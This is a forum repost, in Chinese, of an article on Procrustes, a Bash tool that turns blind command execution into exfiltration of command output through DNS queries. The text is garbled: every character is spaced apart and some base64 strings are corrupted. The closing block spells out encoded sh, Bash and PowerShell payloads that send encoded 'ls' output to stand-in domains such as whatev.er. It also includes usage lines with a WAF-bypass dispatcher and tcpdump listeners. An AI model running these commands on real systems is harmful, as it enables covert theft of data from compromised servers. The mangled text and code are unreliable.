搜索

[16637] 2021-04-05_使用Procrustes从DNS流量中提取数据

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-04-05_使用Procrustes从DNS流量中提取数据 使 用 P r o c r u s t e s 从 D N S 流 量 中 提 取 数 据 A l p h a _ h 4 c k   F r e e B u f   2 0 2 1 - 0 4 - 0 5 P r o c r u s t e s P r o c r u s t e s 是 一 个 能 够 自 动 从 D N S 流 量 中 提 取 出 数 据 的 B a s h 脚 本 ， 我 们 可 以 使 用 该 脚 本 来 检 测 服 务 器 端 执 行 的 B l i n d 命 令 。 因 为 在 有 些 情 况 下 ， 除 了 D N S 流 量 之 外 ， 服 务 器 端 的 所 有 出 站 流 量 都 会 被 屏 蔽 ， 这 也 就 意 味 着 攻 击 者 将 有 可 能 利 用 D N S 流 量 来 执 行 攻 击 行 为 ， 因 此 P r o c r u s t e s 将 能 够 帮 助 广 大 研 究 人 员 分 析 并 检 测 通 过 D N S 流 量 执 行 的 B l i n d 命 令 。 该 脚 本 当 前 支 持 S H 、 B a s h 和 P o w e r S h e l l ， 并 且 兼 容 e x e c 风 格 的 命 令 执 行 ， 比 如 说 j a * v a . l a n g . R u n t i m e . e x e c 等 等 。 工 具 运 行 演 示 样 例 工 具 运 行 演 示 样 例 U n s t a g e d ： ： S t a g e d ： ：
对 于 它 的 操 作 ， 脚 本 将 我 们 要 在 目 标 服 务 器 上 运 行 的 命 令 作 为 输 入 ， 并 根 据 目 标 S h e l l 对 其 进 行 转 换 ， 以 便 允 许 通 过 D N S 对 其 输 出 进 行 过 滤 。 在 命 令 被 转 换 之 后 ， 它 被 返 回 给 “ 调 度 器 ” 。 这 个 调 度 器 是 一 个 由 用 户 提 供 的 程 序 ， 负 责 将 命 令 作 为 输 入 ， 并 通 过 任 何 必 要 的 方 式 （ 例 如 利 用 漏 洞 ） 在 目 标 服 务 器 上 执 行 。 在 目 标 服 务 器 上 执 行 命 令 后 ， 它 将 触 发 对 包 含 数 据 块 的 D N S 名 称 服 务 器 的 D N S 请 求 。 P r o c r u s t e s 将 能 够 监 听 这 些 请 求 ， 直 到 用 户 提 供 的 命 令 的 输 出 被 完 全 过 滤 。 下 面 给 出 的 是 支 持 的 命 令 转 换 形 式 ， 针 对 的 是 提 取 命 令 “ l s ” 生 成 的 转 换 命 令 。 S H ： ： B a s h ： ： P o w e r S h e l l ： ： 工 具 下 载 工 具 下 载 广 大 研 究 人 员 可 以 使 用 下 列 命 令 将 该 项 目 源 码 克 隆 至 本 地 ： 工 具 使 用 工 具 使 用 1 、 本 地 、 本 地 B a s h 测 试 ： 测 试 ： 2 、 本 地 、 本 地 P o w e r S h e l l 测 试 （ 测 试 （ W S L 2 ） ： ） ： 3 、 、 P o w e r S h e l l 样 例 ， 我 们 样 例 ， 我 们 S S H 进 入 至 我 们 的 进 入 至 我 们 的 N S 并 获 取 传 入 的 并 获 取 传 入 的 D N S 请 求 ： 请 求 ： 4 、 获 取 更 多 操 作 选 项 ： 、 获 取 更 多 操 作 选 项 ： 项 目 地 址 ： 点 击 底 部 【 阅 读 原 文 】 获 取 精 精 彩 彩 推 推 荐 荐 s h   - c   $ @ | b a s e 6 4 $ { I F S } - d | s h   .   e c h o   I G R p Z y B A M C A r d H J p Z X M 9 N S B g K G x z K X x i Y X N l N j Q g L X c w f H d j I C 1 j Y C 5 s Z W 4 x N j A z N T Q x M T c * 4 L n d o Y X R l d i 5 l c g o = b a s h   - c   { e c h o , I G 5 z b G 9 v a 3 V w I G A o b H M p f G J h c 2 U 2 N C A t d z B 8 d 2 M g L W N g L m x l b i 4 x N j A z M D M w N T Y w L n d o Y X R l d i 5 l c g o = } | { b a s e 6 4 , - d } | b a s h p o w e r s h e l l   - e n c   U g B l A H M A b w B s A H Y A Z Q A t A E Q A b g B z A E 4 A Y Q B t A G U A I A A k A C g A I g B 7 A D A A f Q A u A H s A M Q B 9 A C * 4 A e w A y A H 0 A I g A g A C 0 A Z g A g A C g A W w B D A G 8 A b g B 2 A G U A c g B 0 A F 0 A O g A 6 A F Q A b w B C A G E A c w B l A D Y A N A B T A H Q A c g B p A G 4 A Z w A o A F s A U w B 5 A H M A d A B l A G 0 A L g B U A G U A e A B 0 A C * g i t   c l o n e   h t t p s : / / g i t h u b . c o m / v p 7 7 7 / p r o c r u s t e s . g i t . / p r o c r o u s t e s _ c h u n k e d . s h   - h   w h a t e v . e r   - d   " d i g   @ 0   + t r i e s = 5 "   - x   d i s p a t c h e r _ e x a m p l e s / l o c a l _ b a s h . s h   - -   ' l s   - l h a | g r e p   s e c r e t '   <   < ( s t d b u f   - o L   t c p d u m p   - - i m m e d i a t e   - l   - i   a n y   u d p   p o r t   s t d b u f   - o L   t c p d u m p   - - i m m e d i a t e   - l   - i   a n y   u d p   p o r t   5 3 | . / p r o c r o u s t e s _ c h u n k e d . s h   - w   p s   - h   w h a t e v . e r   - d   " R e s o l v e - D n s N a m e   - S e r v e r   w s l 2 _ I P   - N a m e "   - x   d i s p a t c h e r _ e x a m p l e s / l o c a l _ p o w e r s h e l l _ w s l 2 . s h   - -   . / p r o c r o u s t e s _ c h u n k e d . s h   - w   p s   - h   y o u r d n s . h o s t   - d   " R e s o l v e - D n s N a m e "   - x   d i s p a t c h e r _ e x a m p l e s / c u r l _ w a f . s h   - -   ' g c i   |   %   { $ _ . N a m e } '   <   < ( s t d b u f   - o L   s s h   u s e r @ H O S T   ' s u d o   t c p d u m p   - - i m m e d i a t e   - l   u d p   p o r t   5 3 ' . / p r o c r o u s t e s _ c h u n k e d . s h   - - h e l p
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理